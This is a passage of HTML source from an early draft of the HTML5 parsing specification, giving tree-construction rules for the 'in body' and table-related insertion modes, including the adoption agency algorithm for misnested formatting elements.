href="#have-an" title="has an element in scope">has in scope</a> an         element whose tag name is one of "h1", "h2", "h3", "h4", "h5", or         "h6", then this is a <a href="#parse">parse error</a>; pop elements         from the stack until an element with one of those tag names has been         popped from the stack.</p>        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token.</p>       <dt>An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5",        "h6"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has in scope</a> an         element whose tag name is one of "h1", "h2", "h3", "h4", "h5", or         "h6", then <a href="#generate">generate implied end tags</a>.</p>        <p>Now, if the <a href="#current3">current node</a> is not an element         with the same tag name as that of the token, then this is a <a         href="#parse">parse error</a>.</p>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has in scope</a> an         element whose tag name is one of "h1", "h2", "h3", "h4", "h5", or         "h6", then pop elements from the stack until an element with one of         those tag names has been popped from the stack.</p>        <!-- XXX quirk:        <p>Otherwise, act as if a start tag with the tag name given in        the token had been seen, then reprocess the current token.</p>        -->        </dd>       <!-- ADOPTION AGENCY ELEMENTS            Mozilla-only: bdo blink del ins sub sup q            Safari-only: code dfn kbd nobr samp var wbr            Both: a b big em font i s small strike strong tt u -->       <dt>A start tag whose tag name is "a"       <dd>        <p>If the <a href="#list-of2">list of active formatting elements</a>         contains an element whose tag name is "a" between the end of the         list and the last marker on the list (or the start of the list if         there is no marker on the list), then this is a <a         href="#parse">parse error</a>; act as if an end tag with the tag         name "a" had been seen, then remove that element from the <a         href="#list-of2">list of active formatting elements</a> and the <a         href="#stack">stack of open elements</a> if the end tag didn't         already remove it (it might not have if the element is not <a         href="#have-an0" title="has an element in table scope">in table         scope</a>).</p>        <p class=example>In the non-conforming stream         <code>AMPERSANDlt;aAMPERSANDnbsp;href="a">aAMPERSANDlt;table>AMPERSANDlt;aAMPERSANDnbsp;href="b">bAMPERSANDlt;/table>x</code>,         the first <code><a href="#a0">a</a></code> element would be closed         upon seeing the second one, and the "x" character would be inside a         link to "b", not to "a". This is despite the fact that the outer         <code><a href="#a0">a</a></code> element is not in table scope         (meaning that a regular <code>AMPERSANDlt;/a></code> end tag at the start of         the table wouldn't close the outer <code><a href="#a0">a</a></code>         element).</p>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token. Add that element to the <a         href="#list-of2">list of active formatting elements</a>.</p>       <dt>A start tag whose tag name is one of: "b", "big", "em", "font",        "i", "nobr", "s", "small", "strike", "strong", "tt", "u"       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token. Add that element to the <a         href="#list-of2">list of active formatting elements</a>.</p>       <dt id=adoptionAgency>An end tag whose tag name is one of: "a", "b",        "big", "em", "font", "i", "nobr", "s", "small", "strike", "strong",        "tt", "u"       <dd>        <p>Follow these steps:</p>        <ol>         <li>          <p>Let the <var title="">formatting element</var> be the last           element in the <a href="#list-of2">list of active formatting           elements</a> that:</p>          <ul>           <li>is between the end of the list and the last scope marker in            the list, if any, or the start of the list otherwise, and           <li>has the same tag name as the token.          </ul>          <p>If there is no such node, or, if that node is also in the <a           href="#stack">stack of open elements</a> but the element is not <a           href="#have-an" title="has an element in scope">in scope</a>, then           this is a <a href="#parse">parse error</a>. Abort these steps. The           token is ignored.</p>          <p>Otherwise, if there is such a node, but that node is not in the           <a href="#stack">stack of open elements</a>, then this is a <a           href="#parse">parse error</a>; remove the element from the list,           and abort these steps.</p>          <p>Otherwise, there is a <var title="">formatting element</var> and           that element is in <a href="#stack" title="stack of open           elements">the stack</a> and is <a href="#have-an" title="has an           element in scope">in scope</a>. If the element is not the <a           href="#current3">current node</a>, this is a <a           href="#parse">parse error</a>. In any case, proceed with the           algorithm as written in the following steps.</p>         <li>          <p>Let the <var title="">furthest block</var> be the topmost node           in the <a href="#stack">stack of open elements</a> that is lower           in the stack than the <var title="">formatting element</var>, and           is not an element in the <a href="#phrasing">phrasing</a> or <a           href="#formatting">formatting</a> categories. There might not be           one.         <li>          <p>If there is no <var title="">furthest block</var>, then the UA           must skip the subsequent steps and instead just pop all the nodes           from the bottom of the <a href="#stack">stack of open           elements</a>, from the <a href="#current3">current node</a> up to           the <var title="">formatting element</var>, and remove the <var           title="">formatting element</var> from the <a           href="#list-of2">list of active formatting elements</a>.         <li>          <p>Let the <var title="">common ancestor</var> be the element           immediately above the <var title="">formatting element</var> in           the <a href="#stack">stack of open elements</a>.         <li>          <p>If the <var title="">furthest block</var> has a parent node,           then remove the <var title="">furthest block</var> from its parent           node.         <li>          <p>Let a bookmark note the position of the <var title="">formatting           element</var> in the <a href="#list-of2">list of active formatting           elements</a> relative to the elements on either side of it in the           list.         <li>          <p>Let <var title="">node</var> and <var title="">last node</var>           be the <var title="">furthest block</var>. Follow these steps:</p>          <ol>           <li>Let <var title="">node</var> be the element immediately prior            to <var title="">node</var> in the <a href="#stack">stack of open            elements</a>.           <li>If <var title="">node</var> is not in the <a            href="#list-of2">list of active formatting elements</a>, then            remove <var title="">node</var> from the <a href="#stack">stack            of open elements</a> and then go back to step 1.           <li>Otherwise, if <var title="">node</var> is the <var            title="">formatting element</var>, then go to the next step in            the overall algorithm.           <li>Otherwise, if <var title="">last node</var> is the <var            title="">furthest block</var>, then move the aforementioned            bookmark to be immediately after the <var title="">node</var> in            the <a href="#list-of2">list of active formatting elements</a>.           <li>If <var title="">node</var> has any children, perform a            shallow clone of <var title="">node</var>, replace the entry for            <var title="">node</var> in the <a href="#list-of2">list of            active formatting elements</a> with an entry for the clone,            replace the entry for <var title="">node</var> in the <a            href="#stack">stack of open elements</a> with an entry for the            clone, and let <var title="">node</var> be the clone.           <li>Insert <var title="">last node</var> into <var            title="">node</var>, first removing it from its previous parent            node if any.           <li>Let <var title="">last node</var> be <var title="">node</var>.           <li>Return to step 1 of this inner set of steps.          </ol>         <li>          <p>Insert whatever <var title="">last node</var> ended up being in           the previous step into the <var title="">common ancestor</var>           node, first removing it from its previous parent node if any.         <li>          <p>Perform a shallow clone of the <var title="">formatting           element</var>.         <li>          <p>Take all of the child nodes of the <var title="">furthest           block</var> and append them to the clone created in the last step.         <li>          <p>Append that clone to the <var title="">furthest block</var>.         <li>          <p>Remove the <var title="">formatting element</var> from the <a           href="#list-of2">list of active formatting elements</a>, and           insert the clone into the <a href="#list-of2">list of active           formatting elements</a> at the position of the aforementioned           bookmark.         <li>          <p>Remove the <var title="">formatting element</var> from the <a           href="#stack">stack of open elements</a>, and insert the clone           into the <a href="#stack">stack of open elements</a> immediately           after (i.e. in a more deeply nested position than) the position of           the <var title="">furthest block</var> in that stack.         <li>          <p>Jump back to step 1 in this series of steps.        </ol>        <p class=note>The way these steps are defined, only elements in the         <a href="#formatting">formatting</a> category ever get cloned by         this algorithm.</p>        <!--XXX        <div class="example">         <p class="big-issue">Need an example.</p>        </div>-->                <p class=note>Because of the way this algorithm causes elements to         change parents, it has been dubbed the "adoption agency algorithm"         (in contrast with other possibly algorithms for dealing with         misnested content, which included the "incest algorithm", the         "secret affair algorithm", and the "Heisenberg algorithm").</p>       <dt>A start tag token whose tag name is "button"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a         <code>button</code> element in scope</a>, then this is a <a         href="#parse">parse error</a>; act as if an end tag with the tag         name "button" had been seen, then reprocess the token.</p>        <p>Otherwise:</p>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>        <p>Insert a marker at the end of the <a href="#list-of2">list of         active formatting elements</a>.</p>       <dt>A start tag token whose tag name is one of: "marquee", "object"       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>        <p>Insert a marker at the end of the <a href="#list-of2">list of         active formatting elements</a>.</p>       <dt>An end tag token whose tag name is one of: "button", "marquee",        "object"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has in scope</a> an         element whose tag name is the same as the tag name of the token,         then <a href="#generate">generate implied end tags</a>.</p>        <p>Now, if the <a href="#current3">current node</a> is not an element         with the same tag name as the token, then this is a <a         href="#parse">parse error</a>.</p>        <p>Now, if the <a href="#stack">stack of open elements</a> <a         href="#have-an">has an element in scope</a> whose tag name matches         the tag name of the token, then pop elements from the stack until         that element has been popped from the stack, and <a         href="#clear0">clear the list of active formatting elements up to         the last marker</a>.</p>       <dt>A start tag token whose tag name is "xmp"       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>        <p>Switch the <a href="#content2">content model flag</a> to the CDATA         state.</p>       <dt>A start tag whose tag name is "table"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <!-- XXX quirks: don't do this -->        <p><a href="#insert">Insert an HTML element</a> for the token.</p>        <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#in-table" title="insertion mode: in table">in table</a>".</p>       <dt>A start tag whose tag name is one of: "area", "basefont",        "bgsound", "br", "embed", "img", "param", "spacer", "wbr"       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token. Immediately pop the <a         href="#current3">current node</a> off the <a href="#stack">stack of         open elements</a>.</p>       <dt>A start tag whose tag name is "hr"       <dd>        <p>If the <a href="#stack">stack of open elements</a> <a         href="#have-an" title="has an element in scope">has a <code>p</code>         element in scope</a>, then act as if an end tag with the tag name         <code><a href="#p0">p</a></code> had been seen.</p>        <!-- XXX quirks: don't do this -->        <p><a href="#insert" title="insert an html element">Insert an HTML         element</a> for the token. Immediately pop the <a         href="#current3">current node</a> off the <a href="#stack">stack of         open elements</a>.</p>       <dt>A start tag whose tag name is "image"       <dd>        <p><a href="#parse">Parse error</a>. Change the token's tag name to         "img" and reprocess it. (Don't ask.)</p>        <!-- As of        2005-12, studies showed that around 0.2% of pages used the        <image> element. -->               <dt>A start tag whose tag name is "input"       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert" title="insert an html element">Insert an         <code>input</code> element</a> for the token.</p>        <p>If the <a href="#form-element"><code title="">form</code> element         pointer</a> is not null, then <span>associate</span><!--XXX        xref! -->         the <code>input</code> element with the <code>form</code> element         pointed to by the <a href="#form-element"><code title="">form</code>         element pointer</a>.</p>        <p>Pop that <code>input</code> element off the <a href="#stack">stack         of open elements</a>.</p>       <dt id=isindex>A start tag whose tag name is "isindex"       <dd>        <p><a href="#parse">Parse error</a>.</p>        <p>If the <a href="#form-element"><code title="">form</code> element         pointer</a> is not null, then ignore the token.</p>        <p>Otherwise:</p>        <p>Act as if a start tag token with the tag name "form" had been         seen.</p>        <p>Act as if a start tag token with the tag name "hr" had been seen.</p>        <p>Act as if a start tag token with the tag name "p" had been seen.</p>        <p>Act as if a start tag token with the tag name "label" had been         seen.</p>        <p>Act as if a stream of character tokens had been seen (see below         for what they should say).</p>        <p>Act as if a start tag token with the tag name "input" had been         seen, with all the attributes from the "isindex" token, except with         the "name" attribute set to the value "isindex" (ignoring any         explicit "name" attribute).</p>        <p>Act as if a stream of character tokens had been seen (see below         for what they should say).</p>        <p>Act as if an end tag token with the tag name "label" had been         seen.</p>        <p>Act as if an end tag token with the tag name "p" had been seen.</p>        <p>Act as if a start tag token with the tag name "hr" had been seen.</p>        <p>Act as if an end tag token with the tag name "form" had been seen.</p>        <p>The two streams of character tokens together should, together with         the <code>input</code> element, express the equivalent of "This is a         searchable index. Insert your search keywords here: (input field)"         in the user's preferred language.</p>        <p class=big-issue> Then need to specify that if the form submission         causes just a single form control, whose name is "isindex", to be         submitted, then we submit just the value part, not the "isindex="         part.</p>       </dd>       <!-- XXX keygen support; don't forget form element pointer!       <dt>A start tag whose tag name is "keygen"</dt>       <dd>        ...       </dd>-->       <dt>A start tag whose tag name is "textarea"       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>If the <a href="#form-element"><code title="">form</code> element         pointer</a> is not null, then <span>associate</span><!--XXX        xref! -->         the <code>textarea</code> element with the <code>form</code> element         pointed to by the <a href="#form-element"><code title="">form</code>         element pointer</a>.</p>        <p>Append the new element to the <a href="#current3">current         node</a>.</p>        <p>Switch the tokeniser's <a href="#content2">content model flag</a>         to the RCDATA state.</p>        <p>Then, collect all the character tokens that the tokeniser returns         until it returns a token that is not a character token, or until it         stops tokenising.</p>        <p>If this process resulted in a collection of character tokens,         append a single <code>Text</code> node, whose contents is the         concatenation of all those tokens' characters, to the new element         node.</p>        <p>The tokeniser's <a href="#content2">content model flag</a> will         have switched back to the PCDATA state.</p>        <p>If the next token is an end tag token with the tag name         "textarea", ignore it.</p>       <dt>A start tag whose tag name is one of: "iframe", "noembed",        "noframes"       <dt>A start tag whose tag name is "noscript", if <a        href="#scripting2">scripting is enabled</a>:       <dd>        <p><a href="#create">Create an element for the token</a>.</p>        <p>For "iframe" tags, the node must be an <code><a         href="#htmliframeelement">HTMLIFrameElement</a></code> object, for         the other tags it must be an <code><a         href="#htmlelement">HTMLElement</a></code> object.</p>        <p>Append the new element to the <a href="#current3">current         node</a>.</p>        <p>Switch the tokeniser's <a href="#content2">content model flag</a>         to the CDATA state.</p>        <p>Then, collect all the character tokens that the tokeniser returns         until it returns a token that is not a character token, or until it         stops tokenising.</p>        <p>If this process resulted in a collection of character tokens,         append a single <code>Text</code> node, whose contents is the         concatenation of all those tokens' characters, to the new element         node.</p>        <p>The tokeniser's <a href="#content2">content model flag</a> will         have switched back to the PCDATA state.</p>        <p>If the next token is an end tag token with the same tag name as         the start tag token, ignore it.</p>        <p class=big-issue>Need something here for when scripting is         disabled.</p>       <dt>A start tag whose tag name is "select"       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>        <p>Change the <a href="#insertion0">insertion mode</a> to "<a         href="#in-select" title="insertion mode: in select">in select</a>".</p>       </dd>       <!-- XXX quirks:       <dt>An end tag whose tag name is "br"</dt>       <dd>        <p>Act as if a start tag token with the tag name "br" had been        seen. Ignore the end tag token.</p>       </dd>-->       <dt>A start or end tag whose tag name is one of: "caption", "col",        "colgroup", "frame", "frameset", "head", "option", "optgroup",        "tbody", "td", "tfoot", "th", "thead", "tr"       <dt>An end tag whose tag name is one of: "area", "basefont",        "bgsound", <!--XXX quirks: remove br-->"br", "embed", "hr", "iframe",        "image", "img", "input", "isindex", "noembed", "noframes", "param",        "select", "spacer", "table", "textarea", "wbr"</dt>       <!-- add keygen if we add the start tag -->       <dt>An end tag whose tag name is "noscript", if <a        href="#scripting2">scripting is enabled</a>:       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>A start or end tag whose tag name is one of: "event-source",        "section", "nav", "article", "aside", "header", "footer", "datagrid",        "command"       <dd> <!-- XXXX -->        <p class=big-issue>Work in progress!</p>       <dt>A start tag token not covered by the previous entries       <dd>        <p><a href="#reconstruct">Reconstruct the active formatting         elements</a>, if any.</p>        <p><a href="#insert">Insert an HTML element</a> for the token.</p>        <p class=note>This element will be a <a href="#phrasing">phrasing</a>         element.</p>        <!--Put the following into the MathML namespace if parsed:   math, mrow, mfrac, msqrt, mroot, mstyle, merror, mpadded,    mphantom, mfenced, menclose, msub, msup, msubsup, munder,    mover, munderover, mmultiscripts, mtable, mlabeledtr, mtr,    mtd, maction-->               <dt>An end tag token not covered by the previous entries       <dd>        <p>Run the following algorithm:</p>        <ol>         <li>          <p>Initialise <var title="">node</var> to be the <a           href="#current3">current node</a> (the bottommost node of the           stack).         <li>          <p>If <var title="">node</var> has the same tag name as the end tag           token, then:</p>          <ol>           <li>            <p><a href="#generate">Generate implied end tags</a>.           <li>            <p>If the tag name of the end tag token does not match the tag             name of the <a href="#current3">current node</a>, this is a <a             href="#parse">parse error</a>.           <li>            <p>Pop all the nodes from the <a href="#current3">current             node</a> up to <var title="">node</var>, including <var             title="">node</var>, then stop this algorithm.          </ol>         <li>          <p>Otherwise, if <var title="">node</var> is in neither the <a           href="#formatting">formatting</a> category nor the <a           href="#phrasing">phrasing</a> category, then this is a <a           href="#parse">parse error</a>. Stop this algorithm. The end tag           token is ignored.         <li>          <p>Set <var title="">node</var> to the previous entry in the <a           href="#stack">stack of open elements</a>.         <li>          <p>Return to step 2.        </ol>      </dl>     <dt id=parsing-main-intable>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-table title="insertion mode: in table">in      table</dfn>"     <dd>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag whose tag name is "caption"       <dd>        <p><a href="#clear1">Clear the stack back to a table context</a>.         (See below.)</p>        <p>Insert a marker at the end of the <a href="#list-of2">list of         active formatting elements</a>.</p>        <p><a href="#insert">Insert an HTML element</a> for the token, then         switch the <a href="#insertion0">insertion mode</a> to "<a         href="#in-caption" title="insertion mode: in caption">in         caption</a>".</p>       <dt>A start tag whose tag name is "colgroup"       <dd>        <p><a href="#clear1">Clear the stack back to a table context</a>.         (See below.)</p>        <p><a href="#insert">Insert an HTML element</a> for the token, then         switch the <a href="#insertion0">insertion mode</a> to "<a         href="#in-column" title="insertion mode: in column group">in column         group</a>".</p>       <dt>A start tag whose tag name is "col"       <dd>        <p>Act as if a start tag token with the tag name "colgroup" had been         seen, then reprocess the current token.</p>       <dt>A start tag whose tag name is one of: "tbody", "tfoot", "thead"       <dd>        <p><a href="#clear1">Clear the stack back to a table context</a>.         (See below.)</p>        <p><a href="#insert">Insert an HTML element</a> for the token, then         switch the <a href="#insertion0">insertion mode</a> to "<a         href="#in-table0" title="insertion mode: in table body">in table         body</a>".</p>       <dt>A start tag whose tag name is one of: "td", "th", "tr"       <dd>        <p>Act as if a start tag token with the tag name "tbody" had been         seen, then reprocess the current token.</p>       <dt>A start tag whose tag name is "table"       <dd>        <p><a href="#parse">Parse error</a>. Act as if an end tag token with         the tag name "table" had been seen, then, if that token wasn't         ignored, reprocess the current token.</p>        <p class=note>The fake end tag token here can only be ignored in the         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>       <dt>An end tag whose tag name is "table"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as the token, this         is a <a href="#parse">parse error</a>. Ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise:</p>        <p><a href="#generate">Generate implied end tags</a>.</p>        <p>Now, if the <a href="#current3">current node</a> is not a <code><a         href="#table0">table</a></code> element, then this is a <a         href="#parse">parse error</a>.</p>        <p>Pop elements from this stack until a <code><a         href="#table0">table</a></code> element has been popped from the         stack.</p>        <p><a href="#reset">Reset the insertion mode appropriately</a>.</p>       <dt>An end tag whose tag name is one of: "body", "caption", "col",        "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>Anything else       <dd>        <p><a href="#parse">Parse error</a>. Process the token as if the <a         href="#insertion0">insertion mode</a> was "<a href="#in-body"         title="insertion mode: in body">in body</a>", with the following         exception:</p>        <p>If the <a href="#current3">current node</a> is a <code><a         href="#table0">table</a></code>, <code><a         href="#tbody0">tbody</a></code>, <code><a         href="#tfoot1">tfoot</a></code>, <code><a         href="#thead1">thead</a></code>, or <code><a         href="#tr0">tr</a></code> element, then, whenever a node would be         inserted into the <a href="#current3">current node</a>, it must         instead be inserted into the <em><a href="#foster">foster parent         element</a></em>.</p>        <p>The <dfn id=foster>foster parent element</dfn> is the parent         element of the last <code><a href="#table0">table</a></code> element         in the <a href="#stack">stack of open elements</a>, if there is a         <code><a href="#table0">table</a></code> element and it has such a         parent element. If there is no <code><a         href="#table0">table</a></code> element in the <a         href="#stack">stack of open elements</a> (<a         href="#innerhtml1"><code>innerHTML</code> case</a>), then the <em><a         href="#foster">foster parent element</a></em> is the first element         in the <a href="#stack">stack of open elements</a> (the <code><a         href="#html0">html</a></code> element). Otherwise, if there is a         <code><a href="#table0">table</a></code> element in the <a         href="#stack">stack of open elements</a>, but the last <code><a         href="#table0">table</a></code> element in the <a         href="#stack">stack of open elements</a> has no parent, or its         parent node is not an element, then the <em><a href="#foster">foster         parent element</a></em> is the element before the last <code><a         href="#table0">table</a></code> element in the <a         href="#stack">stack of open elements</a>.</p>        <p>If the <em><a href="#foster">foster parent element</a></em> is the         parent element of the last <code><a href="#table0">table</a></code>         element in the <a href="#stack">stack of open elements</a>, then the         new node must be inserted immediately <em>before</em> the last         <code><a href="#table0">table</a></code> element in the <a         href="#stack">stack of open elements</a> in the <a         href="#foster">foster parent element</a>; otherwise, the new node         must be <em>appended</em> to the <a href="#foster">foster parent         element</a>.</p>      </dl>      <p>When the steps above require the UA to <dfn id=clear1>clear the       stack back to a table context</dfn>, it means that the UA must, while       the <a href="#current3">current node</a> is not a <code><a       href="#table0">table</a></code> element or an <code><a       href="#html0">html</a></code> element, pop elements from the <a       href="#stack">stack of open elements</a>. If this causes any elements       to be popped from the stack, then this is a <a href="#parse">parse       error</a>.</p>      <p class=note>The <a href="#current3">current node</a> being an       <code><a href="#html0">html</a></code> element after this process is       an <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>     <dt id=parsing-main-incaption>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-caption title="insertion mode: in caption">in      caption</dfn>"     <dd>      <dl class=switch>       <dt>An end tag whose tag name is "caption"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as the token, this         is a <a href="#parse">parse error</a>. Ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise:</p>        <p><a href="#generate">Generate implied end tags</a>.</p>        <p>Now, if the <a href="#current3">current node</a> is not a <code><a         href="#caption1">caption</a></code> element, then this is a <a         href="#parse">parse error</a>.</p>        <p>Pop elements from this stack until a <code><a         href="#caption1">caption</a></code> element has been popped from the         stack.</p>        <p><a href="#clear0">Clear the list of active formatting elements up         to the last marker</a>.</p>        <p>Switch the <a href="#insertion0">insertion mode</a> to "<a         href="#in-table" title="insertion mode: in table">in table</a>".</p>       <dt>A start tag whose tag name is one of: "caption", "col",        "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"       <dt>An end tag whose tag name is "table"       <dd>        <p><a href="#parse">Parse error</a>. Act as if an end tag with the         tag name "caption" had been seen, then, if that token wasn't         ignored, reprocess the current token.</p>        <p class=note>The fake end tag token here can only be ignored in the         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>       <dt>An end tag whose tag name is one of: "body", "col", "colgroup",        "html", "tbody", "td", "tfoot", "th", "thead", "tr"       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>Anything else       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> was "<a href="#in-body" title="insertion mode: in body">in         body</a>".</p>      </dl>     <dt id=parsing-main-incolgroup>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-column title="insertion mode: in column      group">in column group</dfn>"     <dd>      <dl class=switch>       <dt>A character token that is one of one of U+0009 CHARACTER        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C        FORM FEED (FF), or U+0020 SPACE       <dd>        <p><a href="#append" title="append a character">Append the         character</a> to the <a href="#current3">current node</a>.</p>       <dt>A comment token       <dd>        <p>Append a <code>Comment</code> node to the <a         href="#current3">current node</a> with the <code         title="">data</code> attribute set to the data given in the comment         token.</p>       <dt>A start tag whose tag name is "col"       <dd>        <p><a href="#insert" title="insert an HTML element">Insert a         <code>col</code> element</a> for the token. Immediately pop the <a         href="#current3">current node</a> off the <a href="#stack">stack of         open elements</a>.</p>       <dt>An end tag whose tag name is "colgroup"       <dd>        <p>If the <a href="#current3">current node</a> is the root <code><a         href="#html0">html</a></code> element, then this is a <a         href="#parse">parse error</a>, ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise, pop the <a href="#current3">current node</a> (which         will be a <code><a href="#colgroup0">colgroup</a></code> element)         from the <a href="#stack">stack of open elements</a>. Switch the <a         href="#insertion0">insertion mode</a> to "<a href="#in-table"         title="insertion mode: in table">in table</a>".</p>       <dt>An end tag whose tag name is "col"       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>Anything else       <dd>        <p>Act as if an end tag with the tag name "colgroup" had been seen,         and then, if that token wasn't ignored, reprocess the current token.</p>        <p class=note>The fake end tag token here can only be ignored in the         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>      </dl>     <dt id=parsing-main-intbody>If the <a href="#insertion0">insertion      mode</a> is "<dfn id=in-table0 title="insertion mode: in table body">in      table body</dfn>"     <dd>      <dl class=switch>       <dt>A start tag whose tag name is "tr"       <dd>        <p><a href="#clear2">Clear the stack back to a table body         context</a>. (See below.)</p>        <p><a href="#insert" title="insert an HTML element">Insert a         <code>tr</code> element</a> for the token, then switch the <a         href="#insertion0">insertion mode</a> to "<a href="#in-row"         title="insertion mode: in row">in row</a>".</p>       <dt>A start tag whose tag name is one of: "th", "td"       <dd>        <p><a href="#parse">Parse error</a>. Act as if a start tag with the         tag name "tr" had been seen, then reprocess the current token.</p>       <dt>An end tag whose tag name is one of: "tbody", "tfoot", "thead"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as the token, this         is a <a href="#parse">parse error</a>. Ignore the token.</p>        <p>Otherwise:</p>        <p><a href="#clear2">Clear the stack back to a table body         context</a>. (See below.)</p>        <p>Pop the <a href="#current3">current node</a> from the <a         href="#stack">stack of open elements</a>. Switch the <a         href="#insertion0">insertion mode</a> to "<a href="#in-table"         title="insertion mode: in table">in table</a>".</p>       <dt>A start tag whose tag name is one of: "caption", "col",        "colgroup", "tbody", "tfoot", "thead"       <dt>An end tag whose tag name is "table"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have a         <code>tbody</code>, <code>thead</code>, or <code>tfoot</code>         element in table scope</a>, this is a <a href="#parse">parse         error</a>. Ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise:</p>        <p><a href="#clear2">Clear the stack back to a table body         context</a>. (See below.)</p>        <p>Act as if an end tag with the same tag name as the <a         href="#current3">current node</a> ("tbody", "tfoot", or "thead") had         been seen, then reprocess the current token.</p>       <dt>An end tag whose tag name is one of: "body", "caption", "col",        "colgroup", "html", "td", "th", "tr"       <dd>        <p><a href="#parse">Parse error</a>. Ignore the token.</p>       <dt>Anything else       <dd>        <p>Process the token as if the <a href="#insertion0">insertion         mode</a> was "<a href="#in-table" title="insertion mode: in         table">in table</a>".</p>      </dl>      <p>When the steps above require the UA to <dfn id=clear2>clear the       stack back to a table body context</dfn>, it means that the UA must,       while the <a href="#current3">current node</a> is not a <code><a       href="#tbody0">tbody</a></code>, <code><a       href="#tfoot1">tfoot</a></code>, <code><a       href="#thead1">thead</a></code>, or <code><a       href="#html0">html</a></code> element, pop elements from the <a       href="#stack">stack of open elements</a>. If this causes any elements       to be popped from the stack, then this is a <a href="#parse">parse       error</a>.</p>      <p class=note>The <a href="#current3">current node</a> being an       <code><a href="#html0">html</a></code> element after this process is       an <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>     <dt id=parsing-main-intr>If the <a href="#insertion0">insertion mode</a>      is "<dfn id=in-row title="insertion mode: in row">in row</dfn>"     <dd>      <dl class=switch>       <dt>A start tag whose tag name is one of: "th", "td"       <dd>        <p><a href="#clear3">Clear the stack back to a table row context</a>.         (See below.)</p>        <p><a href="#insert" title="insert an HTML element">Insert an HTML         element</a> for the token, then switch the <a         href="#insertion0">insertion mode</a> to "<a href="#in-cell"         title="insertion mode: in cell">in cell</a>".</p>        <p>Insert a marker at the end of the <a href="#list-of2">list of         active formatting elements</a>.</p>       <dt>An end tag whose tag name is "tr"       <dd>        <p>If the <a href="#stack">stack of open elements</a> does not <a         href="#have-an0" title="has an element in table scope">have an         element in table scope</a> with the same tag name as the token, this         is a <a href="#parse">parse error</a>. Ignore the token. (<a         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>        <p>Otherwise:</p>        <p><a href="#clear3">Clear the stack back to a table row context</a>.         (See below.)</p>        <p>Pop the <a href="#current3">current node</a> (which will be a         <code><a href="#tr0">tr</a></code> element) from the <a         href="#stack">stack of open elements</a>. Switch the <a         href="#insertion0">insertion mode</a> to "<a href="#in-table0"         title="insertion mode: in table body">in table body</a>".</p>       <dt>A start tag whose tag name is one of: "caption", "col",        "colgroup", "tbody", "tfoot", "thead", "tr"       <dt>An end tag whose tag name is "table"       <dd>        <p>Act as if an end tag with the tag name "tr" had been seen, then,         if that token wasn't ignored, reprocess the current token.</p>        <p class=note>The fake end tag token here can only be ignored in the         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>   